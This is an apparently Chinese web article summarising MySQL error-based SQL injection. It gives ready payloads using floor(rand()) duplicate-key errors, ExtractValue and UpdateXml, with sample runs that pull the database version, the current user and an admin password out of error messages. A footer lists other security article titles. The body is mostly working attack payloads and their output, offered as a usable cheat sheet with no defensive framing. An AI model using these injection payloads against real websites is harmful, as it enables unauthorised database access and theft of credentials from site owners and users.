mysql 注入报错利用方法总结

所属分类: 网络安全 / 安全设置 阅读数: 177
收藏 0 赞 0 分享

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));

举例如下:

首先进行正常查询:

mysql> select * from article where id = 1;

+—-+——-+———+

| id | title | content |

+—-+——-+———+

| 1 | test | do it |

+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。

例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));

ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’

2、ExtractValue

测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’

更多精彩内容其他人还在看

三年不重装 令Windows百毒不侵13妙招

前几天我朋友的电脑中了病毒,病毒感染了很多EXE文件,修复难度很大,无奈只好格式化掉,损失惨重。
收藏 0 赞 0 分享

加强企业Linux系统安全的若干方法

世界上没有绝对安全的系统,即使是普遍认为稳定的Linux系统,在管理和安全方面也存在不足之处。我们期望让系统尽量在承担低风险的情况下工作,这就要加强对系统安全的管理。
收藏 0 赞 0 分享

远程软件盗窃硬盘数据的3种防止方法

很多时候当一台计算机中毒以后,我们的远控软件就会查看到你硬盘的重要数据,从而将之盗取.
收藏 0 赞 0 分享

U盘病毒彻底防御办法

如何让U盘做到100%预防病毒。
收藏 0 赞 0 分享

Google 搜索时出现的G.cn渐隐广告的解决方法

今天到软件园下载了一个游戏,安装后发现了,用google搜索时出现g.cn的渐隐的广告,原来时这个垃圾软件的问题,国内的大软件网站也提供带插件的广告了。
收藏 0 赞 0 分享

流氓软件篡改ie主页伎俩分析

经常有朋友在安装某种小软件后,IE主页被篡改,而你在ie选项里改回来后,再打开又时主页又变成了另外一个网址。
收藏 0 赞 0 分享

15步安全强化win2003服务器

我们现在就来看看Jonathan的15个步骤以及他提到的一些要点。
收藏 0 赞 0 分享

曲折的FileZilla Server提权之路

明白以上三点后现在就是尝试如何连接到服务器上的FileZilla Server。首先查看FileZilla Server Interface.xml中的内容
收藏 0 赞 0 分享

在 Windows 下关闭135/139/445端口的图文方法

在 Windows 下关闭135/139/445端口的方法,一切为了安全
收藏 0 赞 0 分享

IIS的FastCGI漏洞处理方法

这篇文章主要介绍了IIS的FastCGI漏洞处理方法,需要的朋友可以参考下
收藏 0 赞 0 分享
查看更多